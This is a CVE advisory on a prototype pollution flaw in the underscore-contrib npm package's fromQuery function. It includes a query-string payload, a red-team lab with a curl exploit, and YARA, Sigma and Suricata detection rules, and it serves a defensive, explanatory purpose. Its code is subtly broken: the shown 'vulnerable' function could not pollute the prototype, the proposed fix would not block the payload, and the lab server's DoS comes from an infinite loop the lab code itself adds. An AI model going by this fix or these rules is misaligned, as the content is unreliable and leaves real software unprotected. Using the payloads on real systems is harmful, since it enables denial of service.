CVE-2024-57081

Executive Summary

CVE-2024-57081 identifies a prototype pollution vulnerability in the lib.fromQuery function of the underscore-contrib library, version 0.3.0. This flaw allows an attacker to inject properties into the global Object.prototype by supplying a crafted payload, leading to a Denial of Service (DoS) condition. The vulnerability is classified under CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes). As of the latest analysis, no official patch has been released, and the vendor's status remains unknown. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is elevated for applications that parse user-supplied query strings using this library.

Supply Chain & Package Security

underscore-contrib is an npm package providing additional utility functions for the popular underscore library. This vulnerability affects the npm ecosystem, where prototype pollution can propagate through dependencies. Applications that include underscore-contrib v0.3.0 and expose the fromQuery function to untrusted input are at risk. Developers should audit their dependency trees and consider replacing or patching the library until an official fix is available.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, likely due to incomplete data. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – the payload can be delivered remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component remains the same.
• Confidentiality (C): None (N) – no data exposure.
• Integrity (I): Low (L) – prototype pollution can alter application behavior.
• Availability (A): High (H) – DoS is the primary impact.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H Estimated Base Score: 7.1 (High)

Deep Dive & Mechanics

The lib.fromQuery function in underscore-contrib v0.3.0 is designed to parse URL query strings into JavaScript objects. The vulnerability arises because the function does not sanitize or validate the keys in the query string. An attacker can inject keys like __proto__ or constructor.prototype to pollute the global Object.prototype.

Example Payload:

?__proto__[polluted]=true

When parsed, this sets Object.prototype.polluted = true, affecting all objects in the application. In a DoS scenario, an attacker could set properties that cause infinite loops, memory exhaustion, or crash the application.

Root Cause: The fromQuery function recursively assigns values to an object without checking for prototype keys. This is a classic prototype pollution pattern.

Vulnerable vs. Patched Code

Vulnerable Code (underscore-contrib v0.3.0):

// Simplified vulnerable implementation
function fromQuery(str) {
  var result = {};
  str.split('&').forEach(function(pair) {
    var parts = pair.split('=');
    var key = decodeURIComponent(parts[0]);
    var value = decodeURIComponent(parts[1] || '');
    // No key validation - allows __proto__ or constructor.prototype
    result[key] = value;
  });
  return result;
}

Patched Code (Hypothetical fix):

function fromQuery(str) {
  var result = {};
  str.split('&').forEach(function(pair) {
    var parts = pair.split('=');
    var key = decodeURIComponent(parts[0]);
    var value = decodeURIComponent(parts[1] || '');
    // Block prototype pollution keys
    if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
      return; // or throw an error
    }
    result[key] = value;
  });
  return result;
}

Note: No official patch exists as of this report. The above is a recommended mitigation.

Exploitation & Lab Setup

Red Team

Objective: Trigger a Denial of Service by polluting the prototype.

Lab Setup:

1. Install Node.js and npm.
2. Create a project with underscore-contrib v0.3.0:

   npm init -y
   npm install underscore-contrib@0.3.0
   

3. Create a vulnerable server (server.js):

   const http = require('http');
   const _ = require('underscore');
   const contrib = require('underscore-contrib');
   const url = require('url');
   
   http.createServer((req, res) => {
     const query = url.parse(req.url, true).query;
     // Simulate parsing query string using vulnerable function
     const parsed = contrib.lib.fromQuery(req.url.split('?')[1] || '');
     // Trigger DoS by causing an infinite loop or crash
     if (parsed.polluted) {
       while (true) {} // Infinite loop
     }
     res.end('OK');
   }).listen(3000);
   

4. Exploit:

   curl "http://localhost:3000/?__proto__[polluted]=true"
   

   The server will enter an infinite loop, causing a DoS.

Alternative Payload: Use constructor.prototype to set properties that crash the application.

Blue Team

Detection:

• Monitor for query strings containing __proto__, constructor, or prototype keys.
• Use Web Application Firewall (WAF) rules to block such patterns.
• Implement input validation on all query string parsing.

Hunting:

• Search logs for requests with suspicious query parameters.
• Check for unexpected properties on global objects in Node.js applications.

Indicators of Compromise (IOCs)

• Network: HTTP requests with query parameters containing __proto__, constructor, or prototype.
• Application: Presence of unexpected properties on Object.prototype (e.g., Object.prototype.polluted).
• Logs: Error logs showing infinite loops or crashes after parsing query strings.

Detection Engineering

YARA Rule

rule CVE_2024_57081_Prototype_Pollution {
  meta:
    description = "Detects prototype pollution attempts in query strings targeting underscore-contrib v0.3.0"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "CVE-2024-57081"
  strings:
    $proto1 = "__proto__"
    $proto2 = "constructor.prototype"
    $proto3 = "prototype"
  condition:
    any of ($proto*) and filesize < 10KB
}

Sigma Rule

title: Prototype Pollution Attempt via Query String
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with prototype pollution keywords in query parameters
author: Valters IT
date: 2025-04-10
logsource:
  category: webserver
  product: apache
detection:
  selection:
    cs-uri-query|contains:
      - '__proto__'
      - 'constructor.prototype'
      - 'prototype'
  condition: selection
falsepositives:
  - Legitimate use of 'prototype' in non-malicious contexts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57081 Prototype Pollution Attempt"; flow:to_server; content:"__proto__"; http_uri; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Remove or replace underscore-contrib v0.3.0 with a patched version or alternative library.
2. Input Validation: Implement strict validation on query string keys, blocking __proto__, constructor, and prototype.
3. Use Safe Parsing: Use built-in URLSearchParams or a secure parsing library that prevents prototype pollution.
4. Monitor: Deploy detection rules (YARA, Sigma, Suricata) to identify exploitation attempts.
5. Patch: If no official patch is available, apply the hypothetical fix shown in the "Vulnerable vs. Patched Code" section.

Valters IT
Securing Digital Frontiers